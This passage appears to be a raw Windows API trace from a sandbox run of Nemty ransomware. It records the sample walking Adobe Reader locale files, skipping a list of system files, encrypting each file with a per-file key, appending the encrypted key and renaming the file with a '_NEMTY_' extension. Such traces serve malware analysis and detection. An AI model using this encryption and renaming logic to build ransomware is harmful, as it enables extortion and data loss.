[0183.130] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0183.131] CloseHandle (hObject=0x2e8) returned 1 [0183.131] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0183.131] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0183.131] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.131] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0183.131] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.131] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.131] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0183.131] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0183.131] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0183.131] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.131] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\SaveAsRTF.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\saveasrtf.rus"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\SaveAsRTF.RUS._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\saveasrtf.rus._nemty_kgobjgd_")) returned 1 [0183.131] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0183.131] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0183.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0183.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0183.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0183.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0183.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0183.132] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831716c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5c00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Search.RUS", cAlternateFileName="")) returned 1 [0183.132] lstrcmpiW (lpString1="Search.RUS", lpString2=".") returned 1 [0183.132] lstrcmpiW (lpString1="Search.RUS", lpString2="..") returned 1 [0183.132] lstrcmpiW (lpString1="Search.RUS", lpString2="...") returned 1 [0183.132] lstrcmpiW (lpString1="Search.RUS", lpString2="windows") returned -1 [0183.132] lstrcmpiW (lpString1="Search.RUS", lpString2="$RECYCLE.BIN") returned 1 [0183.132] lstrcmpiW (lpString1="Search.RUS", lpString2="rsa") returned 1 [0183.132] lstrcmpiW (lpString1="Search.RUS", lpString2="NTDETECT.COM") returned 1 [0183.132] lstrcmpiW (lpString1="Search.RUS", lpString2="ntldr") returned 1 [0183.132] lstrcmpiW (lpString1="Search.RUS", lpString2="MSDOS.SYS") returned 1 [0183.132] lstrcmpiW (lpString1="Search.RUS", lpString2="IO.SYS") returned 1 [0183.132] lstrcmpiW (lpString1="Search.RUS", lpString2="boot.ini") returned 1 [0183.132] lstrcmpiW (lpString1="Search.RUS", lpString2="boot.ini") returned 1 [0183.132] lstrcmpiW (lpString1="Search.RUS", lpString2="AUTOEXEC.BAT") returned 1 [0183.132] lstrcmpiW (lpString1="Search.RUS", lpString2="ntuser.dat") returned 1 [0183.132] lstrcmpiW (lpString1="Search.RUS", lpString2="desktop.ini") returned 1 [0183.132] lstrcmpiW (lpString1="Search.RUS", lpString2="CONFIG.SYS") returned 1 [0183.132] lstrcmpiW (lpString1="Search.RUS", lpString2="RECYCLER") returned 1 [0183.132] lstrcmpiW (lpString1="Search.RUS", lpString2="BOOTSECT.BAK") returned 1 [0183.132] lstrcmpiW (lpString1="Search.RUS", lpString2="bootmgr") returned 1 [0183.132] lstrcmpiW (lpString1="Search.RUS", lpString2="programdata") returned 1 [0183.132] lstrcmpiW (lpString1="Search.RUS", lpString2="appdata") returned 1 [0183.132] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.132] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.RUS", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0183.132] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.RUS", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.RUS", lpUsedDefaultChar=0x0) returned 10 [0183.132] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.133] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.RUS", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0183.133] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.RUS", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.RUS", lpUsedDefaultChar=0x0) returned 10 [0183.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.133] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.RUS", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0183.133] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.RUS", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.RUS", lpUsedDefaultChar=0x0) returned 10 [0183.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.133] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.RUS", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0183.133] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.RUS", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.RUS", lpUsedDefaultChar=0x0) returned 10 [0183.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0183.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0183.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0183.133] Sleep (dwMilliseconds=0x5) [0183.142] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x20ced330, dwHighDateTime=0x1d561e8)) [0183.142] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x20ced330, dwHighDateTime=0x1d561e8)) [0183.142] GetLastError () returned 0x0 [0183.142] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0183.142] GetLastError () returned 0x0 [0183.142] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.142] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0183.142] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.142] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0183.142] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0183.142] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0183.142] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0183.142] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="F5F7qkTqqEVah/5pHIhzcOIKKE4vUpiE/BG7V4O8bHi4tU4ULSSyp9RGbEJJPq2u\r\npQFvDsdWMZ4f/MlQQsmLEV7d+HaVOgt0RFMXZZGHNxdFegQXkVvPovzd0vKOSLD9\r\nWsY4+cExvV+aCTi1FhrfxyAg8oO6YXRyNzjsImmJpD4S9LtKICATf4LUBE+5z45H\r\n5du4FxpRY0gYfp12jIsYRKFm4naunro92tbJB23suIWeMgU0lwGJenf/j9IjfRMc\r\nBUn4G83B1Z2XdilGkAn+UgDyTvjnzPFkrDAJQ0QKNks/wR8jh8H5ZcpO/pkhjl5y\r\nQu71c/NwrRQZBTqeXHLgkw==\r\n", pcchString=0x653e5dc) returned 1 [0183.142] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0183.142] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0183.142] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.142] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0183.142] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0183.143] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0183.143] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Search.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\search.rus"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0183.143] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=23552) returned 1 [0183.143] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x5c00) returned 0x6352c48 [0183.143] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.143] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x5c00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x5c00, lpOverlapped=0x0) returned 1 [0183.146] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.146] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x5c00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x5c00, lpOverlapped=0x0) returned 1 [0183.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0183.147] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=23552, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5c00 [0183.147] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0183.147] CloseHandle (hObject=0x2e8) returned 1 [0183.147] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0183.147] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0183.147] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.147] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0183.147] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.147] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0183.147] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0183.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0183.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.147] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Search.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\search.rus"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Search.RUS._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\search.rus._nemty_kgobjgd_")) returned 1 [0183.148] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0183.148] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0183.148] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0183.148] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0183.148] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0183.148] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0183.148] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.148] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0183.148] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831716c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3e00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="SendMail.RUS", cAlternateFileName="")) returned 1 [0183.148] lstrcmpiW (lpString1="SendMail.RUS", lpString2=".") returned 1 [0183.148] lstrcmpiW (lpString1="SendMail.RUS", lpString2="..") returned 1 [0183.148] lstrcmpiW (lpString1="SendMail.RUS", lpString2="...") returned 1 [0183.148] lstrcmpiW (lpString1="SendMail.RUS", lpString2="windows") returned -1 [0183.148] lstrcmpiW (lpString1="SendMail.RUS", lpString2="$RECYCLE.BIN") returned 1 [0183.148] lstrcmpiW (lpString1="SendMail.RUS", lpString2="rsa") returned 1 [0183.148] lstrcmpiW (lpString1="SendMail.RUS", lpString2="NTDETECT.COM") returned 1 [0183.148] lstrcmpiW (lpString1="SendMail.RUS", lpString2="ntldr") returned 1 [0183.148] lstrcmpiW (lpString1="SendMail.RUS", lpString2="MSDOS.SYS") returned 1 [0183.148] lstrcmpiW (lpString1="SendMail.RUS", lpString2="IO.SYS") returned 1 [0183.148] lstrcmpiW (lpString1="SendMail.RUS", lpString2="boot.ini") returned 1 [0183.148] lstrcmpiW (lpString1="SendMail.RUS", lpString2="boot.ini") returned 1 [0183.148] lstrcmpiW (lpString1="SendMail.RUS", lpString2="AUTOEXEC.BAT") returned 1 [0183.148] lstrcmpiW (lpString1="SendMail.RUS", lpString2="ntuser.dat") returned 1 [0183.148] lstrcmpiW (lpString1="SendMail.RUS", lpString2="desktop.ini") returned 1 [0183.148] lstrcmpiW (lpString1="SendMail.RUS", lpString2="CONFIG.SYS") returned 1 [0183.148] lstrcmpiW (lpString1="SendMail.RUS", lpString2="RECYCLER") returned 1 [0183.148] lstrcmpiW (lpString1="SendMail.RUS", lpString2="BOOTSECT.BAK") returned 1 [0183.148] lstrcmpiW (lpString1="SendMail.RUS", lpString2="bootmgr") returned 1 [0183.148] lstrcmpiW (lpString1="SendMail.RUS", lpString2="programdata") returned 1 [0183.148] lstrcmpiW (lpString1="SendMail.RUS", lpString2="appdata") returned 1 [0183.148] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.149] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.RUS", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0183.149] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.RUS", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.RUS", lpUsedDefaultChar=0x0) returned 12 [0183.149] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.149] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.RUS", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0183.149] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.RUS", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.RUS", lpUsedDefaultChar=0x0) returned 12 [0183.149] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.149] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.149] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.149] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.RUS", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0183.149] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.RUS", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.RUS", lpUsedDefaultChar=0x0) returned 12 [0183.149] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.149] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.149] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.RUS", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0183.149] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.RUS", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.RUS", lpUsedDefaultChar=0x0) returned 12 [0183.149] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.149] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0183.149] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0183.149] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0183.149] Sleep (dwMilliseconds=0x5) [0183.158] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x20d13490, dwHighDateTime=0x1d561e8)) [0183.158] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x20d13490, dwHighDateTime=0x1d561e8)) [0183.158] GetLastError () returned 0x0 [0183.158] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0183.158] GetLastError () returned 0x0 [0183.158] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.158] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0183.158] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.158] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0183.158] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0183.158] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0183.158] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0183.158] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="wzmCgDpKe3crn02rormQiHGspL56rLGcv7wQnPFZgRXzF8ZYQwpEqM1wokh/QLwu\r\nNSeNQ8vajiIsW/aPJmyihA2p2i5U1MOVat/DASymFne1MG6e32Wohw5jUrWWfvyG\r\nDmhNV8svBJow+JLdNl3FA0lxEoNUxc4tmUP62SRE19/wWOqYKyQ59AFb+5Kf5PQO\r\njBOilAqEkuOzDe5dpeRVcYVBXN5Gd/wNeI4sMsiMihB6wGzuzBudWIsBhvCNqRU+\r\nUQJx7namBh27ok8T+pottcqcyYKJSrjCTjRzVadpeHBaNq0KpBqhrUun6nwScXLh\r\n50ZA6u33E1pR0QqJ7VRpHg==\r\n", pcchString=0x653e5dc) returned 1 [0183.158] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0183.158] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0183.158] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.158] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0183.159] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0183.159] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0183.159] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\SendMail.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\sendmail.rus"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0183.159] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=15872) returned 1 [0183.159] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x3e00) returned 0x6352c48 [0183.159] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.159] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x3e00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, 